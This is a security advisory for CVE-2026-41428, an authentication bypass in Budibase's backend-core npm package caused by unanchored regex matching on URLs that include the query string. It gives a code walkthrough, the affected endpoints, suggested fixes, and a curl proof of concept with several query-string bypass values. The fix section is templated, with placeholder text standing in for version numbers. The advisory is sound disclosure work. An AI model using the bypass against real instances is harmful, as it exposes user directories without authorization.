CVE-2026-41428: Budibase Authentication Bypass Vulnerability

CRITICAL
Advisory Identifier: GHSA-8783-3wgf-jggf
CVSS 9.1
CWE-287
Published
Advisory Summary

CVE-2026-41428 is a CRITICAL (CVSS 9.1) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting Budibase libraries in the npm ecosystem. The issue involves authentication bypass via unanchored regex in public endpoint matcher — unauthenticated access to protected endpoints. Remediation is available in the latest vendor maintenance releases.

CVE-2026-41428 at a Glance

CVE Identifier CVE-2026-41428
GHSA Identifier GHSA-8783-3wgf-jggf
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-287: Improper Authentication
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-41428

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/backend-core fixed: Latest secure release
npm install @budibase/backend-core@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/backend-core

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-41428, inspect your project dependencies using npm:

npm ls @budibase/backend-core

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @budibase/backend-core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL. ### Details **Step 1 — Public endpoint patterns compiled without anchors** `packages/backend-core/src/middleware/matchers.ts`, line 26: ```typescript return { regex: new RegExp(route), method, route } ``` No `^` prefix, no `$` suffix. The regex matches anywhere in the test string. **Step 2 — Regex tested against full URL including query string** `packages/backend-core/src/middleware/matchers.ts`, line 32: ```typescript const urlMatch = regex.test(ctx.request.url) ``` Koa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string. **Step 3 — publicEndpoint flag set to true** `packages/backend-core/src/middleware/authenticated.ts`, lines 123-125: ```typescript const found = matches(ctx, noAuthOptions) if (found) { publicEndpoint = true } ``` **Step 4 — Worker's global auth check skipped** `packages/worker/src/api/index.ts`, lines 160-162: ```typescript .use((ctx, next) => { if (ctx.publicEndpoint) { return next() // ← SKIPS the auth check below } if ((!ctx.isAuthenticated || ...) && !ctx.internal) { ctx.throw(403, "Unauthorized") // ← never reached } }) ``` When `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed. **Step 5 — Routes without per-route auth middleware are exposed** `loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23: ```typescript export const loggedInRoutes = endpointGroupList.group() // no middleware ``` Endpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection. **Affected endpoints (no per-route auth — fully exposed):** - `POST /api/global/users/search` — search all users (emails, names, roles) - `GET /api/global/self` — get current user info - `GET /api/global/users/accountholder` — account holder lookup - `GET /api/global/template/definitions` — template definitions - `POST /api/global/license/refresh` — refresh license - `POST /api/global/event/publish` — publish events **Not affected (have secondary per-route auth that blocks undefined user):** - `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403 - `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it ### PoC ```bash # Step 1: Confirm normal request is blocked $ curl -s -o /dev/null -w "%{http_code}" \ -X POST -H "Content-Type: application/json" -d '{}' \ "https://budibase-instance/api/global/users/search" 403 # Step 2: Bypass auth via query string injection $ curl -s -X POST -H "Content-Type: application/json" -d '{}' \ "https://budibase-instance/api/global/users/search?x=/api/system/status" {"data":[{"email":"admin@example.com","admin":{"global":true},...}],...} ``` Without auth → 403. With `?x=/api/system/status` → returns all users. Any public endpoint pattern works as the bypass value: - `?x=/api/system/status` - `?x=/api/system/environment` - `?x=/api/global/configs/public` - `?x=/api/global/auth/default` ### Impact An unauthenticated attacker can: 1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search` 2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder` 3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh` 4. **Publish events** — inject events into the event system via `/api/global/event/publish` The user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet. Note: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed. ### Suggested Fix Two options (both should be applied): **Option A — Anchor the regex:** ```typescript // matchers.ts line 26 return { regex: new RegExp('^' + route + '(\\?|$)'), method, route } ``` **Option B — Use ctx.request.path instead of ctx.request.url:** ```typescript // matchers.ts line 32 const urlMatch = regex.test(ctx.request.path) // excludes query string ```

CVE-2026-41428 Affected Budibase Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/backend-core
npm
≤ 3.35.3

References

Frequently Asked Questions

What is CVE-2026-41428?
CVE-2026-41428 is a security vulnerability in Budibase involving Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints under CWE-287: Improper Authentication.
Which Budibase versions are affected?
Affected versions include releases prior to current release patches across affected packages: @budibase/backend-core.
What version fixes CVE-2026-41428?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/backend-core affected?
Yes, @budibase/backend-core is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-41428?
CVE-2026-41428 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H.
What CWE is associated with CVE-2026-41428?
CVE-2026-41428 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check npm dependencies for CVE-2026-41428?
Run the dependency tree command: 'npm ls @budibase/backend-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8783-3wgf-jggf",
  "modified" : "2026-04-27T16:19:34Z",
  "published" : "2026-04-16T22:40:59Z",
  "aliases" : [ "CVE-2026-41428" ],
  "summary" : "Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints",
  "details" : "### Summary\n\nThe `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL.\n\n### Details\n\n**Step 1 — Public endpoint patterns compiled without anchors**\n\n`packages/backend-core/src/middleware/matchers.ts`, line 26:\n\n```typescript\nreturn { regex: new RegExp(route), method, route }\n```\n\nNo `^` prefix, no `$` suffix. The regex matches anywhere in the test string.\n\n**Step 2 — Regex tested against full URL including query string**\n\n`packages/backend-core/src/middleware/matchers.ts`, line 32:\n\n```typescript\nconst urlMatch = regex.test(ctx.request.url)\n```\n\nKoa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string.\n\n**Step 3 — publicEndpoint flag set to true**\n\n`packages/backend-core/src/middleware/authenticated.ts`, lines 123-125:\n\n```typescript\nconst found = matches(ctx, noAuthOptions)\nif (found) {\n  publicEndpoint = true\n}\n```\n\n**Step 4 — Worker's global auth check skipped**\n\n`packages/worker/src/api/index.ts`, lines 160-162:\n\n```typescript\n.use((ctx, next) => {\n  if (ctx.publicEndpoint) {\n    return next()        // ← SKIPS the auth check below\n  }\n  if ((!ctx.isAuthenticated || ...) && !ctx.internal) {\n    ctx.throw(403, \"Unauthorized\")   // ← never reached\n  }\n})\n```\n\nWhen `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed.\n\n**Step 5 — Routes without per-route auth middleware are exposed**\n\n`loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23:\n\n```typescript\nexport const loggedInRoutes = endpointGroupList.group()   // no middleware\n```\n\nEndpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection.\n\n**Affected endpoints (no per-route auth — fully exposed):**\n- `POST /api/global/users/search` — search all users (emails, names, roles)\n- `GET /api/global/self` — get current user info\n- `GET /api/global/users/accountholder` — account holder lookup\n- `GET /api/global/template/definitions` — template definitions\n- `POST /api/global/license/refresh` — refresh license\n- `POST /api/global/event/publish` — publish events\n\n**Not affected (have secondary per-route auth that blocks undefined user):**\n- `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403\n- `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it\n\n### PoC\n\n```bash\n# Step 1: Confirm normal request is blocked\n$ curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application/json\" -d '{}' \\\n    \"https://budibase-instance/api/global/users/search\"\n403\n\n# Step 2: Bypass auth via query string injection\n$ curl -s -X POST -H \"Content-Type: application/json\" -d '{}' \\\n    \"https://budibase-instance/api/global/users/search?x=/api/system/status\"\n{\"data\":[{\"email\":\"admin@example.com\",\"admin\":{\"global\":true},...}],...}\n```\n\nWithout auth → 403. With `?x=/api/system/status` → returns all users.\n\nAny public endpoint pattern works as the bypass value:\n- `?x=/api/system/status`\n- `?x=/api/system/environment`\n- `?x=/api/global/configs/public`\n- `?x=/api/global/auth/default`\n\n### Impact\n\nAn unauthenticated attacker can:\n1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search`\n2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder`\n3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh`\n4. **Publish events** — inject events into the event system via `/api/global/event/publish`\n\nThe user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.\n\nNote: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed.\n\n### Suggested Fix\n\nTwo options (both should be applied):\n\n**Option A — Anchor the regex:**\n```typescript\n// matchers.ts line 26\nreturn { regex: new RegExp('^' + route + '(\\\\?|$)'), method, route }\n```\n\n**Option B — Use ctx.request.path instead of ctx.request.url:**\n```typescript\n// matchers.ts line 32\nconst urlMatch = regex.test(ctx.request.path)  // excludes query string\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/backend-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.35.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41428"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T22:40:59Z",
    "nvd_published_at" : "2026-04-24T20:16:27Z"
  }
}